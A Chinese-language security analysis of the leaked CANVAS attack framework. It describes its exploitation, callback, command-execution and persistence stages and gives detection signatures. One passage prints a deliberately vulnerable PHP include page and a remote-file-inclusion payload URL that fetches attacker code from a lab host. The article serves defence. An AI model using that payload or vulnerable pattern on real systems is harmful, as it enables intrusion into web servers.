1、框架概要

近期泄露的 canvas 框架无疑在业内又引起了一阵轩然大波，从泄露的代码来看，该框架覆盖了一次渗透攻击过程的绝大部分阶段，其整体的工作流程如下：

图1. canvas 框架工作流程

1. 框架启动后通过 canvasengine 中的 registerModule 函数注册相关模块，同时根据用户设定的 IP 及接口信息启动对应的 listener，listener 对应的 handler 为 handleNewListenerConnection 函数。

2. 选定攻击模块，并根据攻击者设定的参数信息动态生成 shellocde。

3. 在攻击者完成攻击第一次回连时，传回相应的 mosdeftype 和 id，接着通过步骤1中提及的 handleNewListenerConnection 函数调用 new_node_connection 对回连的消息进行处理，new_node_connection 函数根据不同的 mosdeftype 创建响应的 node 和 server/listener 对象，listener 对象的主要工作是动态生成各类功能 shellcode 发送给受控端，受控端接收并执行这些 shellcode 代码，node 和 server 对象主要则是封装 listener 对象提供的基础函数，直接向用户提供复杂的控制端功能，如创建进程/创建服务/ 上传下载文件等。

4. 在获得目标机器的稳定控制权后，攻击者通常向目标机器种植木马以维持控制，在 canvas 中，木马的生成主要是以特定功能的 shellcode 模板为基础进行动态生成的，生成木马的代码主要位于 exploits/trojan 目录下，shellcode 模板主要是在 shellcode\standalone\windows\payloads 文件中。

5. 接下来，笔者将按攻击阶段对该框架进行简要分析，并提出检测建议，希望能在此特殊时期给大家些许帮助。

2、简要分析

1. 获取控制权

Canvas 中主要包括3种手法获取目标机器控制权的手法：1) rce漏洞；2) web漏洞；3) 客户端软件漏洞，相应的目录分别对应：exploits/remote、exploits/web、exploits/clientside，下面逐个进行分析。

1.1 RCE 漏洞

该部分以 ETERNALBULE 漏洞为例，利用代码位于 /exploits/remote/windows/ETERNALBULE/ETERNALBULE.py，攻击开始后，利用代码会从 shellcode 模板文件 –/exploits/remote/windows/ETERNALBULE/canvas.yaml 选择合适的 shellcode 生成完整的攻击 payload，在攻击成功完成后，被控主机会向控制端发送两次4字节消息，那么这4个字节的意义是什么呢？这4个字节消息是由 canvasengine 模块的 new_node_connection 函数进行处理，在初始时 mosdeftype 都为 UNIVERSAL_MOSDEF，之后就会根据受控端发送过来的4字节设置新的 mosdeftype 和 shellid，其中第一次发送的4字节代表 mosdeftype，第二次则代表 shellid（该部分解析代码由 universal_mosdef_loader 函数完成）：

图2. mosdeftype 字段解析

接下来，系统则根据不同的 mosdeftype 的值选择不同的 shellnode 和 shellserver，对应于该漏洞，两个值分别是 win64node.py 和 win64.py，win64shell 的用途时将各类基本命令生成 shellcode 发送给受控端，受控端在接收 shellcode 后会申请可执行的内存空间存储并执行该部分 shellocde，win64node 的用途则主要将 win64 提供的基础函数封装成提供给攻击者使用。

1.2 Web 漏洞

在 Web 漏洞方面，canvas 包含了一个简单的文件包含漏洞的利用实例，利用代码位于 exploits/web/php_includetest.py，为了搭建分析测试环境，我们需要构建这样一个存在文件包含漏洞的页面，文件名为：includetest.php，文件内容：<?php $page = $_GET[“page”]; include($page);?>，同时要设置 allow_url_include 为 On，在攻击开始后，利用代码先调用 php_includetest.py 中的 test 函数获取目标路径信息，接着通过 run 函数发送 payload: /includetest.php?page=http://192.168.70.153.:80/test.php,test.php 内容是由 phplistener.py 中的 get_php_stage1 所产生的，较为重要的一部分内容如下：

图3. php stage1 shellcode 生成

可以看到其实流程和 RCE 类漏洞类似，在发送完 mosdef_type 和 mosdef_id 给控制端后，等待接收并执行控制端发送过来的 php 代码。

1.3 客户端软件漏洞

该部分我们以 MS15-020 的利用代码为例，该部分利用代码位于 exploits/clientside/windows/lnk_exec.py。该部分除了提供必要的 http 服务外，主要是用于生成 lnk 文件和恶意 dll 文件，整体流程和前述两种并无太大差异。

1.4 总结

可以看出，canvas 为了获取目标机器的稳定控制权分了两个步骤：1) 利用漏洞获得目标机器控制权，向控制端回连，传回对应的 mosdeftype 和 id，同时等待执行接收的指令；2) 这时开始传输 stage2 的 shellcode，此时的 shellcode 的主要功能是循环等待控制端的指令。

那么对于这个攻击阶段，我们的检测点主要可以包括如下几部分：

1) 回连端口，这当然是最简单明显的特征，默认情况下回连端口为 5555，该端口可以通过 canvas.conf 进行配置。

2) 每个漏洞的利用代码，主要位于 exploits 目录下，这显然是最准确的特征，但这需要逐个分析 exploit，整体所需时间较长。

3) 检测 stage1 和 stage2 的 shellocde，canvas 通过模板文件和内置编译引擎的方式构建了一套动态生成 shellcode 的框架，那么这些 shellocde 模板文件便能直接作为我们检测特征，该部分代码主要位于 shellcode 目录下。

4) 回传的 mosdeftype 和 id，其中 mosdeftype 的值是明确的一个列表，而 id 则是逐渐递增，这两个也能作为较弱的特征辅助检测。

2. 执行指令

在 canvas 框架中，所有的后门指令都是通过动态生成恶意代码，然后发送至受控端，再由受控段执行的，动态生成恶意代码的工作主要由相关节点的 shell 对象 /listener 对象完成。如，javanode 由 javalistener 完成：

图4. java 指令 shellcode 生成

phpnode 由 phplistener 完成：

图5. php 指令 shellcode 生成

win64node 则由 win64 完成：

图6. PE 类指令 shellcode 生成

那么很明显，这个阶段的检测对于脚本类 node 直接从相关的 listener 文件中提取即可，而非脚本类则相对复杂一些，需要调用 canvas 内置的编译引擎编译恶意代码后再提取相关特征。

3. 权限维持

canvas 提供的主要权限维持手段是：1) 支持各类协议上线木马动态生成；2) 以服务的方式将后门驻留在目标系统中。木马生成相关代码主要是在 exploits/trojan 目录中，该部分功能主要逻辑则是将相关功能的 shellocode 模块（位于 shellcode\standalone\windows 目录中）修改后，注入到 PE 文件中，随后生成该文件。trojan 目录各组件的描述如下：

整体而言并没有太大的技术亮点，同样利用服务进行后门驻留的方式并没有什么特别之处，也是常见的创建系统服务流程，对应的服务文件是 backdoors/mosdefservice.exe，我们简单看一下其执行流程：

图7. 服务后门分析(1)

如上图，该模块为一个以服务方式运行的监听模块，根据参数监听主机 IP 和端口，接下来接收 Shellcode 并执行：

图8. 服务后门分析(2)

很显然，对于这个阶段的检测工作主要是各后门的模板文件，及 shellcode 模板文件。

3、总结

整体而言，该部分框架最大亮点之处在于几个未公开 exp 漏洞的稳定利用代码，针对其检测工作也可以分为短期和中期两部分工作来做：短期较快能提取的特征则是各类 shellcode 模板，恶意代码模板，以及回连端口和流量特征；中期是需要逐个分析 exp 提取相关特征码。当前，我们的 TDP 产品已能覆盖大部分流量特征：

图9. HTTP MOSDEF PLAINTEXT

图10. JAVA MOSDEF

图11. canvas shellcode 传输

声明：本文来自微步在线研究响应中心，版权归作者所有。文章内容仅代表作者独立观点，不代表士冗科技立场，转载目的在于传递更多信息。如有侵权，请联系 service@expshell.com。